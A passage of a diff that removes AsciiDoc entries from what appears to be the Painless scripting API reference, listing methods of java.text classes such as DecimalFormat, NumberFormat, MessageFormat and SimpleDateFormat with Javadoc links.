-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMinimumFractionDigits()[getMinimumFractionDigits]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMinimumIntegerDigits()[getMinimumIntegerDigits]()
-* int {java11-javadoc}/java.base/java/text/DecimalFormat.html#getMultiplier()[getMultiplier]()
-* null {java11-javadoc}/java.base/java/text/DecimalFormat.html#getNegativePrefix()[getNegativePrefix]()
-* null {java11-javadoc}/java.base/java/text/DecimalFormat.html#getNegativeSuffix()[getNegativeSuffix]()
-* null {java11-javadoc}/java.base/java/text/DecimalFormat.html#getPositivePrefix()[getPositivePrefix]()
-* null {java11-javadoc}/java.base/java/text/DecimalFormat.html#getPositiveSuffix()[getPositiveSuffix]()
-* RoundingMode {java11-javadoc}/java.base/java/text/NumberFormat.html#getRoundingMode()[getRoundingMode]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/text/DecimalFormat.html#isDecimalSeparatorAlwaysShown()[isDecimalSeparatorAlwaysShown]()
-* boolean {java11-javadoc}/java.base/java/text/NumberFormat.html#isGroupingUsed()[isGroupingUsed]()
-* boolean {java11-javadoc}/java.base/java/text/DecimalFormat.html#isParseBigDecimal()[isParseBigDecimal]()
-* boolean {java11-javadoc}/java.base/java/text/NumberFormat.html#isParseIntegerOnly()[isParseIntegerOnly]()
-* Number {java11-javadoc}/java.base/java/text/NumberFormat.html#parse(java.lang.String)[parse](null)
-* Number {java11-javadoc}/java.base/java/text/NumberFormat.html#parse(java.lang.String,java.text.ParsePosition)[parse](null, ParsePosition)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String)[parseObject](null)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String,java.text.ParsePosition)[parseObject](null, ParsePosition)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setCurrency(java.util.Currency)[setCurrency](Currency)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#setDecimalFormatSymbols(java.text.DecimalFormatSymbols)[setDecimalFormatSymbols](DecimalFormatSymbols)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#setDecimalSeparatorAlwaysShown(boolean)[setDecimalSeparatorAlwaysShown](boolean)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#setGroupingSize(int)[setGroupingSize](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setGroupingUsed(boolean)[setGroupingUsed](boolean)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMaximumFractionDigits(int)[setMaximumFractionDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMaximumIntegerDigits(int)[setMaximumIntegerDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMinimumFractionDigits(int)[setMinimumFractionDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMinimumIntegerDigits(int)[setMinimumIntegerDigits](int)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#setMultiplier(int)[setMultiplier](int)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#setNegativePrefix(java.lang.String)[setNegativePrefix](null)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#setNegativeSuffix(java.lang.String)[setNegativeSuffix](null)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#setParseBigDecimal(boolean)[setParseBigDecimal](boolean)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setParseIntegerOnly(boolean)[setParseIntegerOnly](boolean)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#setPositivePrefix(java.lang.String)[setPositivePrefix](null)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#setPositiveSuffix(java.lang.String)[setPositiveSuffix](null)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setRoundingMode(java.math.RoundingMode)[setRoundingMode](RoundingMode)
-* null {java11-javadoc}/java.base/java/text/DecimalFormat.html#toLocalizedPattern()[toLocalizedPattern]()
-* null {java11-javadoc}/java.base/java/text/DecimalFormat.html#toPattern()[toPattern]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DecimalFormatSymbols]]
-==== DecimalFormatSymbols
-* static Locale[] {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getAvailableLocales()[getAvailableLocales]()
-* static DecimalFormatSymbols {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getInstance()[getInstance]()
-* static DecimalFormatSymbols {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getInstance(java.util.Locale)[getInstance](Locale)
-* {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#<init>()[DecimalFormatSymbols]()
-* {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#<init>(java.util.Locale)[DecimalFormatSymbols](Locale)
-* def {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* Currency {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getCurrency()[getCurrency]()
-* null {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getCurrencySymbol()[getCurrencySymbol]()
-* char {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getDecimalSeparator()[getDecimalSeparator]()
-* char {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getDigit()[getDigit]()
-* null {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getExponentSeparator()[getExponentSeparator]()
-* char {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getGroupingSeparator()[getGroupingSeparator]()
-* null {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getInfinity()[getInfinity]()
-* null {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getInternationalCurrencySymbol()[getInternationalCurrencySymbol]()
-* char {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getMinusSign()[getMinusSign]()
-* char {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getMonetaryDecimalSeparator()[getMonetaryDecimalSeparator]()
-* null {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getNaN()[getNaN]()
-* char {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getPatternSeparator()[getPatternSeparator]()
-* char {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getPerMill()[getPerMill]()
-* char {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getPercent()[getPercent]()
-* char {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#getZeroDigit()[getZeroDigit]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setCurrency(java.util.Currency)[setCurrency](Currency)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setCurrencySymbol(java.lang.String)[setCurrencySymbol](null)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setDecimalSeparator(char)[setDecimalSeparator](char)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setDigit(char)[setDigit](char)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setExponentSeparator(java.lang.String)[setExponentSeparator](null)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setGroupingSeparator(char)[setGroupingSeparator](char)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setInfinity(java.lang.String)[setInfinity](null)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setInternationalCurrencySymbol(java.lang.String)[setInternationalCurrencySymbol](null)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setMinusSign(char)[setMinusSign](char)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setMonetaryDecimalSeparator(char)[setMonetaryDecimalSeparator](char)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setNaN(java.lang.String)[setNaN](null)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setPatternSeparator(char)[setPatternSeparator](char)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setPerMill(char)[setPerMill](char)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setPercent(char)[setPercent](char)
-* void {java11-javadoc}/java.base/java/text/DecimalFormatSymbols.html#setZeroDigit(char)[setZeroDigit](char)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-FieldPosition]]
-==== FieldPosition
-* {java11-javadoc}/java.base/java/text/FieldPosition.html#<init>(int)[FieldPosition](int)
-* {java11-javadoc}/java.base/java/text/FieldPosition.html#<init>(java.text.Format$Field,int)[FieldPosition](Format.Field, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/text/FieldPosition.html#getBeginIndex()[getBeginIndex]()
-* int {java11-javadoc}/java.base/java/text/FieldPosition.html#getEndIndex()[getEndIndex]()
-* int {java11-javadoc}/java.base/java/text/FieldPosition.html#getField()[getField]()
-* Format.Field {java11-javadoc}/java.base/java/text/FieldPosition.html#getFieldAttribute()[getFieldAttribute]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* void {java11-javadoc}/java.base/java/text/FieldPosition.html#setBeginIndex(int)[setBeginIndex](int)
-* void {java11-javadoc}/java.base/java/text/FieldPosition.html#setEndIndex(int)[setEndIndex](int)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Format]]
-==== Format
-* def {java11-javadoc}/java.base/java/text/Format.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object)[format](Object)
-* StringBuffer {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object,java.lang.StringBuffer,java.text.FieldPosition)[format](Object, StringBuffer, FieldPosition)
-* AttributedCharacterIterator {java11-javadoc}/java.base/java/text/Format.html#formatToCharacterIterator(java.lang.Object)[formatToCharacterIterator](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String)[parseObject](null)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String,java.text.ParsePosition)[parseObject](null, ParsePosition)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Format-Field]]
-==== Format.Field
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-MessageFormat]]
-==== MessageFormat
-* static null {java11-javadoc}/java.base/java/text/MessageFormat.html#format(java.lang.String,java.lang.Object%5B%5D)[format](null, Object[])
-* void {java11-javadoc}/java.base/java/text/MessageFormat.html#applyPattern(java.lang.String)[applyPattern](null)
-* def {java11-javadoc}/java.base/java/text/Format.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object)[format](Object)
-* StringBuffer {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object,java.lang.StringBuffer,java.text.FieldPosition)[format](Object, StringBuffer, FieldPosition)
-* AttributedCharacterIterator {java11-javadoc}/java.base/java/text/Format.html#formatToCharacterIterator(java.lang.Object)[formatToCharacterIterator](Object)
-* Format[] {java11-javadoc}/java.base/java/text/MessageFormat.html#getFormats()[getFormats]()
-* Format[] {java11-javadoc}/java.base/java/text/MessageFormat.html#getFormatsByArgumentIndex()[getFormatsByArgumentIndex]()
-* Locale {java11-javadoc}/java.base/java/text/MessageFormat.html#getLocale()[getLocale]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Object[] {java11-javadoc}/java.base/java/text/MessageFormat.html#parse(java.lang.String)[parse](null)
-* Object[] {java11-javadoc}/java.base/java/text/MessageFormat.html#parse(java.lang.String,java.text.ParsePosition)[parse](null, ParsePosition)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String)[parseObject](null)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String,java.text.ParsePosition)[parseObject](null, ParsePosition)
-* void {java11-javadoc}/java.base/java/text/MessageFormat.html#setFormat(int,java.text.Format)[setFormat](int, Format)
-* void {java11-javadoc}/java.base/java/text/MessageFormat.html#setFormatByArgumentIndex(int,java.text.Format)[setFormatByArgumentIndex](int, Format)
-* void {java11-javadoc}/java.base/java/text/MessageFormat.html#setFormats(java.text.Format%5B%5D)[setFormats](Format[])
-* void {java11-javadoc}/java.base/java/text/MessageFormat.html#setFormatsByArgumentIndex(java.text.Format%5B%5D)[setFormatsByArgumentIndex](Format[])
-* void {java11-javadoc}/java.base/java/text/MessageFormat.html#setLocale(java.util.Locale)[setLocale](Locale)
-* null {java11-javadoc}/java.base/java/text/MessageFormat.html#toPattern()[toPattern]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-MessageFormat-Field]]
-==== MessageFormat.Field
-* static MessageFormat.Field {java11-javadoc}/java.base/java/text/MessageFormat$Field.html#ARGUMENT[ARGUMENT]
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Normalizer]]
-==== Normalizer
-* static boolean {java11-javadoc}/java.base/java/text/Normalizer.html#isNormalized(java.lang.CharSequence,java.text.Normalizer$Form)[isNormalized](CharSequence, Normalizer.Form)
-* static null {java11-javadoc}/java.base/java/text/Normalizer.html#normalize(java.lang.CharSequence,java.text.Normalizer$Form)[normalize](CharSequence, Normalizer.Form)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Normalizer-Form]]
-==== Normalizer.Form
-* static Normalizer.Form {java11-javadoc}/java.base/java/text/Normalizer$Form.html#NFC[NFC]
-* static Normalizer.Form {java11-javadoc}/java.base/java/text/Normalizer$Form.html#NFD[NFD]
-* static Normalizer.Form {java11-javadoc}/java.base/java/text/Normalizer$Form.html#NFKC[NFKC]
-* static Normalizer.Form {java11-javadoc}/java.base/java/text/Normalizer$Form.html#NFKD[NFKD]
-* static Normalizer.Form {java11-javadoc}/java.base/java/text/Normalizer$Form.html#valueOf(java.lang.String)[valueOf](null)
-* static Normalizer.Form[] {java11-javadoc}/java.base/java/text/Normalizer$Form.html#values()[values]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-NumberFormat]]
-==== NumberFormat
-* static int {java11-javadoc}/java.base/java/text/NumberFormat.html#FRACTION_FIELD[FRACTION_FIELD]
-* static int {java11-javadoc}/java.base/java/text/NumberFormat.html#INTEGER_FIELD[INTEGER_FIELD]
-* static Locale[] {java11-javadoc}/java.base/java/text/NumberFormat.html#getAvailableLocales()[getAvailableLocales]()
-* static NumberFormat {java11-javadoc}/java.base/java/text/NumberFormat.html#getCurrencyInstance()[getCurrencyInstance]()
-* static NumberFormat {java11-javadoc}/java.base/java/text/NumberFormat.html#getCurrencyInstance(java.util.Locale)[getCurrencyInstance](Locale)
-* static NumberFormat {java11-javadoc}/java.base/java/text/NumberFormat.html#getInstance()[getInstance]()
-* static NumberFormat {java11-javadoc}/java.base/java/text/NumberFormat.html#getInstance(java.util.Locale)[getInstance](Locale)
-* static NumberFormat {java11-javadoc}/java.base/java/text/NumberFormat.html#getIntegerInstance()[getIntegerInstance]()
-* static NumberFormat {java11-javadoc}/java.base/java/text/NumberFormat.html#getIntegerInstance(java.util.Locale)[getIntegerInstance](Locale)
-* static NumberFormat {java11-javadoc}/java.base/java/text/NumberFormat.html#getNumberInstance()[getNumberInstance]()
-* static NumberFormat {java11-javadoc}/java.base/java/text/NumberFormat.html#getNumberInstance(java.util.Locale)[getNumberInstance](Locale)
-* static NumberFormat {java11-javadoc}/java.base/java/text/NumberFormat.html#getPercentInstance()[getPercentInstance]()
-* static NumberFormat {java11-javadoc}/java.base/java/text/NumberFormat.html#getPercentInstance(java.util.Locale)[getPercentInstance](Locale)
-* def {java11-javadoc}/java.base/java/text/Format.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object)[format](Object)
-* StringBuffer {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object,java.lang.StringBuffer,java.text.FieldPosition)[format](Object, StringBuffer, FieldPosition)
-* AttributedCharacterIterator {java11-javadoc}/java.base/java/text/Format.html#formatToCharacterIterator(java.lang.Object)[formatToCharacterIterator](Object)
-* Currency {java11-javadoc}/java.base/java/text/NumberFormat.html#getCurrency()[getCurrency]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMaximumFractionDigits()[getMaximumFractionDigits]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMaximumIntegerDigits()[getMaximumIntegerDigits]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMinimumFractionDigits()[getMinimumFractionDigits]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMinimumIntegerDigits()[getMinimumIntegerDigits]()
-* RoundingMode {java11-javadoc}/java.base/java/text/NumberFormat.html#getRoundingMode()[getRoundingMode]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/text/NumberFormat.html#isGroupingUsed()[isGroupingUsed]()
-* boolean {java11-javadoc}/java.base/java/text/NumberFormat.html#isParseIntegerOnly()[isParseIntegerOnly]()
-* Number {java11-javadoc}/java.base/java/text/NumberFormat.html#parse(java.lang.String)[parse](null)
-* Number {java11-javadoc}/java.base/java/text/NumberFormat.html#parse(java.lang.String,java.text.ParsePosition)[parse](null, ParsePosition)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String)[parseObject](null)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String,java.text.ParsePosition)[parseObject](null, ParsePosition)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setCurrency(java.util.Currency)[setCurrency](Currency)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setGroupingUsed(boolean)[setGroupingUsed](boolean)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMaximumFractionDigits(int)[setMaximumFractionDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMaximumIntegerDigits(int)[setMaximumIntegerDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMinimumFractionDigits(int)[setMinimumFractionDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMinimumIntegerDigits(int)[setMinimumIntegerDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setParseIntegerOnly(boolean)[setParseIntegerOnly](boolean)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setRoundingMode(java.math.RoundingMode)[setRoundingMode](RoundingMode)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-NumberFormat-Field]]
-==== NumberFormat.Field
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#CURRENCY[CURRENCY]
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#DECIMAL_SEPARATOR[DECIMAL_SEPARATOR]
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#EXPONENT[EXPONENT]
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#EXPONENT_SIGN[EXPONENT_SIGN]
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#EXPONENT_SYMBOL[EXPONENT_SYMBOL]
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#FRACTION[FRACTION]
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#GROUPING_SEPARATOR[GROUPING_SEPARATOR]
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#INTEGER[INTEGER]
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#PERCENT[PERCENT]
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#PERMILLE[PERMILLE]
-* static NumberFormat.Field {java11-javadoc}/java.base/java/text/NumberFormat$Field.html#SIGN[SIGN]
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ParseException]]
-==== ParseException
-* {java11-javadoc}/java.base/java/text/ParseException.html#<init>(java.lang.String,int)[ParseException](null, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/text/ParseException.html#getErrorOffset()[getErrorOffset]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ParsePosition]]
-==== ParsePosition
-* {java11-javadoc}/java.base/java/text/ParsePosition.html#<init>(int)[ParsePosition](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/text/ParsePosition.html#getErrorIndex()[getErrorIndex]()
-* int {java11-javadoc}/java.base/java/text/ParsePosition.html#getIndex()[getIndex]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* void {java11-javadoc}/java.base/java/text/ParsePosition.html#setErrorIndex(int)[setErrorIndex](int)
-* void {java11-javadoc}/java.base/java/text/ParsePosition.html#setIndex(int)[setIndex](int)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-RuleBasedCollator]]
-==== RuleBasedCollator
-* {java11-javadoc}/java.base/java/text/RuleBasedCollator.html#<init>(java.lang.String)[RuleBasedCollator](null)
-* def {java11-javadoc}/java.base/java/text/Collator.html#clone()[clone]()
-* int {java11-javadoc}/java.base/java/util/Comparator.html#compare(java.lang.Object,java.lang.Object)[compare](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Comparator.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/text/Collator.html#equals(java.lang.String,java.lang.String)[equals](null, null)
-* CollationElementIterator {java11-javadoc}/java.base/java/text/RuleBasedCollator.html#getCollationElementIterator(java.lang.String)[getCollationElementIterator](null)
-* CollationKey {java11-javadoc}/java.base/java/text/Collator.html#getCollationKey(java.lang.String)[getCollationKey](null)
-* int {java11-javadoc}/java.base/java/text/Collator.html#getDecomposition()[getDecomposition]()
-* null {java11-javadoc}/java.base/java/text/RuleBasedCollator.html#getRules()[getRules]()
-* int {java11-javadoc}/java.base/java/text/Collator.html#getStrength()[getStrength]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#reversed()[reversed]()
-* void {java11-javadoc}/java.base/java/text/Collator.html#setDecomposition(int)[setDecomposition](int)
-* void {java11-javadoc}/java.base/java/text/Collator.html#setStrength(int)[setStrength](int)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparing(java.util.Comparator)[thenComparing](Comparator)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparing(java.util.function.Function,java.util.Comparator)[thenComparing](Function, Comparator)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparingDouble(java.util.function.ToDoubleFunction)[thenComparingDouble](ToDoubleFunction)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparingInt(java.util.function.ToIntFunction)[thenComparingInt](ToIntFunction)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparingLong(java.util.function.ToLongFunction)[thenComparingLong](ToLongFunction)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-SimpleDateFormat]]
-==== SimpleDateFormat
-* {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#<init>()[SimpleDateFormat]()
-* {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#<init>(java.lang.String)[SimpleDateFormat](null)
-* {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#<init>(java.lang.String,java.util.Locale)[SimpleDateFormat](null, Locale)
-* void {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#applyLocalizedPattern(java.lang.String)[applyLocalizedPattern](null)
-* void {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#applyPattern(java.lang.String)[applyPattern](null)
-* def {java11-javadoc}/java.base/java/text/Format.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object)[format](Object)
-* StringBuffer {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object,java.lang.StringBuffer,java.text.FieldPosition)[format](Object, StringBuffer, FieldPosition)
-* AttributedCharacterIterator {java11-javadoc}/java.base/java/text/Format.html#formatToCharacterIterator(java.lang.Object)[formatToCharacterIterator](Object)
-* Date {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#get2DigitYearStart()[get2DigitYearStart]()
-* Calendar {java11-javadoc}/java.base/java/text/DateFormat.html#getCalendar()[getCalendar]()
-* DateFormatSymbols {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#getDateFormatSymbols()[getDateFormatSymbols]()
-* NumberFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getNumberFormat()[getNumberFormat]()
-* TimeZone {java11-javadoc}/java.base/java/text/DateFormat.html#getTimeZone()[getTimeZone]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/text/DateFormat.html#isLenient()[isLenient]()
-* Date {java11-javadoc}/java.base/java/text/DateFormat.html#parse(java.lang.String)[parse](null)
-* Date {java11-javadoc}/java.base/java/text/DateFormat.html#parse(java.lang.String,java.text.ParsePosition)[parse](null, ParsePosition)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String)[parseObject](null)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String,java.text.ParsePosition)[parseObject](null, ParsePosition)
-* void {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#set2DigitYearStart(java.util.Date)[set2DigitYearStart](Date)
-* void {java11-javadoc}/java.base/java/text/DateFormat.html#setCalendar(java.util.Calendar)[setCalendar](Calendar)
-* void {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#setDateFormatSymbols(java.text.DateFormatSymbols)[setDateFormatSymbols](DateFormatSymbols)
-* void {java11-javadoc}/java.base/java/text/DateFormat.html#setLenient(boolean)[setLenient](boolean)
-* void {java11-javadoc}/java.base/java/text/DateFormat.html#setNumberFormat(java.text.NumberFormat)[setNumberFormat](NumberFormat)
-* void {java11-javadoc}/java.base/java/text/DateFormat.html#setTimeZone(java.util.TimeZone)[setTimeZone](TimeZone)
-* null {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#toLocalizedPattern()[toLocalizedPattern]()
-* null {java11-javadoc}/java.base/java/text/SimpleDateFormat.html#toPattern()[toPattern]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-StringCharacterIterator]]
-==== StringCharacterIterator
-* {java11-javadoc}/java.base/java/text/StringCharacterIterator.html#<init>(java.lang.String)[StringCharacterIterator](null)
-* {java11-javadoc}/java.base/java/text/StringCharacterIterator.html#<init>(java.lang.String,int)[StringCharacterIterator](null, int)
